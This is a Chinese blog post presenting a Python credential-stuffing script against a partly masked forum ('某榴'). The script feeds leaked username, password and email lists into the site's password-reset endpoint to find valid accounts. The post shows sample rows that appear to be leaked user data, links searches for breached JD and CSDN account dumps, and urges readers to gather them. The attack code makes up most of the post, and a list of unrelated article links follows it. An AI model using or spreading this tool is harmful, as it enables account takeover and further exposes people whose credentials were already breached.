其实日常生活中我们的用户名和密码就那么几个,所以这给撞库带来了可能,本文主要给出python脚本撞库的一点粗浅代码。这里只讨论技术本生,代码中某榴的地址也已经改掉,避免被管理员误解禁言等发生,谢谢大家理解。

代码如下:

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding: utf-8 -*-
# flake8: noqa
__author__ = 'wukong'
 
 
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
 
import requests
import time
         
def test_register(username,email):
 
    headers={
        "Content-Type": "application/x-www-form-urlencoded",
        "user-agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36",
        "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        "content-length":"44",
    }
     
    try:
        params={'pwuser':username,'email':email,'step':'2'}
        print params
        r=requests.post("https://某榴.tk/sendpwd.php?",data=params,headers=headers)
        result=r.text.encode("latin1").decode("gbk")
        return result.replace('\n','').replace('\t','').replace('\r','').replace(' ','')
    except Exception as e:
        print e
         
def check_file(username,password,email,file):
    what = test_register(username,email)
    if what and u"注意查收" in what:
        print username,password,email
        info=username+","+password+","+email
        with open(file, 'a+') as f:
            f.write(info+'\n')   #加\n换行显示
             
def check_txt(no):
    out_put="output"+str(no)+".txt"
    file=str(no)+".txt"
    fh = open(file)
    for line in  fh.readlines():
        try:
            r=line.split(",")
            username=r[0]
            password=r[1]
            email=r[2]
            check_file(username,password,email,out_put)
        except Exception as e:
            print "ee",e
        time.sleep(10)
 
if __name__ == '__main__':
    #get_all_data()
   check_txt(4)

把代码放到某个文件夹里面,然后准备几个txt文档,文档以0-n的自然数命名,文件格式为:
caopengyu,rQf7JaotOp+W7h12XgvpAg==,yamaoshixode@163.com
中二病,AAO2b4zLbWtgu6gxcyYHiQ==,2054117123@qq.com

主函数中写4 代表文档4.txt,都很简单,其他依此类推。

至于账号问题,曾经京东、csdn都泄露过一批账号,现在可以搜索到,我经常使用网盘搜索:
http://www.quzhuanpan.com/source/search.action?q=%E6%B3%84%E9%9C%B2%E8%B4%A6%E5%8F%B7¤tPage=1
https://www.panc.cc/s/%E8%B4%A6%E5%8F%B7%20%E6%B3%84%E9%9C%B2/td_0
http://www.panduoduo.net/s/name/%E8%B4%A6%E5%8F%B7%20%E6%B3%84%E9%9C%B2
大家自己尝试获取一些账号。不会百度吧,这年头不会搜东西的程序猿不是好程序猿。

仅限技术讨论,勿要深究其他问题出现不和谐的东西,再次感谢,多多指正。

python 脚本撞库国内“某榴”账号的更多相关文章

  1. htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本

    李姐姐之前跟我们分享了子域名枚举工具subDomainBrute<subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本>,这回带给我们htpwdScan ht ...

  2. 使用Python的selenium库制作脚本,支持后台运行

    本文介绍如何使用Python的selenium库制作脚本.概念:       Selenium是一个用于测试网站的自动化测试工具,支持各种浏览器包括Chrome.Firefox.Safari等主流界面 ...

  3. Python使用EasyOCR库对行程码图片进行OCR文字识别介绍与实践

    关注「WeiyiGeek」点我,点我 设为「特别关注」,每天带你在B站玩转网络安全运维.应用开发.物联网IOT学习! 希望各位看友[关注.点赞.评论.收藏.投币],助力每一个梦想. 文章目录 0x00 ...

  4. 使用NuGet打包并发布至ProGet过程 (步骤详细,附python脚本)【上篇】

    一.基本知识 (1)NuGet : NuGet是一个为大家所熟知的Visual Studio扩展,通过这个扩展,开发人员可以非常方便地在Visual Studio中安装或更新项目中所需要的第三方组件, ...

  5. MySQL利用binlog恢复误操作数据(python脚本)

    在人工手动进行一些数据库写操作的时候(比方说数据订正),尤其是一些不可控的批量更新或删除,通常都建议备份后操作.不过不怕万一,就怕一万,有备无患总是好的.在线上或者测试环境误操作导致数据被删除或者更新 ...

  6. Python安装第三方库的安装技巧

    电脑:Windows10 64位. Python IDE 软件:JetBrains PyCharm Community Edition 2018.1.3 x64 Python version : Py ...

  7. 利用itertools生成密码字典,多线程撞库破解rar压缩文件密码

    脚本功能: 利用itertools生成密码字典(迭代器形式) 多线程并发从密码字典中取出密码进行验证 验证成功后把密码写入文件中保存 #!/usr/bin/env python # -*- codin ...

  8. 【NuGet】使用NuGet打包并发布至ProGet过程 (步骤详细,附python脚本)【上篇】

    一.基本知识 (1)NuGet : NuGet是一个为大家所熟知的Visual Studio扩展,通过这个扩展,开发人员可以非常方便地在Visual Studio中安装或更新项目中所需要的第三方组件, ...

  9. Python 安装 第三方库的安装技巧

    Python 安装 第三方库的安装技巧 我的电脑:Windows 10 64位. Python IDE 软件:PyCharm 2016.1.4 Python version : Python 3.5. ...

随机推荐

  1. pymongo常见的高级用法

    pymongo是python中基于mongodb数据库开发出来的,比mongoengine要高级一些,也要好用一些. 基本的增删查改就不说了 insert() delete() find() upda ...

  2. python中子类调用父类的方法

    1子类调用父类构造方法 class Animal(object): def __init__(self): print("init Animal class~") def run( ...

  3. http网络通信--页面源代码查看

    1.要在andorid中实现网络图片查看,涉及到用户隐私问题,所以要在AndroidManifest.xml中添加访问网络权限 <uses-permission android:name=&qu ...

  4. [Algorithom] Shuffle an array

    Shuffling is a common process used with randomizing the order for a deck of cards. The key property ...

  5. PHP数组问题

    转换为数组 对于任意 integer , float , string , boolean 和 resource 类型,如果将一个值转换为数组,将得到一个仅有一个元素的数组,其下标为 0,该元素即为此 ...

  6. sip

    INVITE sip:10010101402@10.7.36.70:5060 SIP/2.0 Via: SIP/2.0/UDP 10.7.36.250:5060;rport;branch=z9hG4b ...

  7. 应用LR监控Apache性能

    1)对Apache服务器中的http.conf进行如下配置修改Apache中Httpd.conf文件,添加如下代码(该文件中都有,只要取消注释就好了)<Location /server-stat ...

  8. vue 仿QQ 开发流程

    技术客栈: vue-cli vue2 vue-router vuex axios stylus webpack2 muse-ui 1.安装脚手架 npm install -g vue-cli 2.开始 ...

  9. 【VBA编程】11.Application对象

    Application对象常用属性[ActiveCell属性]ActiveCell属性返回一个Range对象,表示当前窗口或指定窗口中的单元格.如果窗口没显示工作表,则此属性无效.[代码区域] Sub ...

  10. C-Scanf连续调用多次并且存在%c的问题

    问题现象: 当程序中存在多个scanf时,针对第一个scanf的输入,一般用户会以空白字符(空格.换行.tab.换页符)等结束.但若后面有一个scanf(“%c”,&ch),则刚才输入的空白字 ...